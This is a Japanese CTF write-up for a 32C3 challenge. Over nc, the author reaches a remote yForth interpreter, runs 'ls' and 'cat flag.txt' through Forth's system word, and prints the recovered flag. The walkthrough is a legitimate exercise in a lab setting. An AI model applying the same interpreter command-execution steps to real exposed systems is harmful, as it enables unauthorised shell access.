Connect to 136.243.194.49:1024 and get a shell.ncコマンドで指定されたサーバに接続します。
>nc.exe 136.243.194.49 1024yForthというのは、Forth言語の実装の一つのようです。作者のサイトがこちら。
yForth? v0.2 Copyright (C) 2012 Luca Padovani
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions; see LICENSE for details.
http://www.di.unito.it/~padovani/software.html
Forth言語というものが存在することを初めて知りました。
Forth言語についてはこちらのサイトが詳しいです。
http://www.h7.dion.ne.jp/~samwyn/forth/gforth/index.html
さて、問題ではシェルを取得せよとなっていますので、Forth言語からOSコマンドを実行する方法を調べます。
どうやら、スタックに文字列(OSコマンド)を保存した状態で、systemコマンドでOSコマンドを実行できるようです。
文字列について
http://www.h7.dion.ne.jp/~samwyn/forth/gforth/Displaying-characters-and-strings.html#Displaying-characters-and-strings
OSコマンド発行について
http://www.h7.dion.ne.jp/~samwyn/forth/gforth/Passing-Commands-to-the-OS.html#Passing-Commands-to-the-OS
S"でlsという文字列をスタックにPUSHします。S"の後ろにはスペースが必要です。
S" ls"次に、systemでlsコマンドを発行します。すると、ファイル一覧が表示されました。
ok
systemcatコマンドを発行して、flag.txtの中身を表示します。
flag.txt README.gpl run.sh yforth
ok
S" cat flag.txt"フラグは、
ok
system
32C3_a8cfc6174adcb39b8d6dc361e888f17b
ok
32C3_a8cfc6174adcb39b8d6dc361e888f17bです。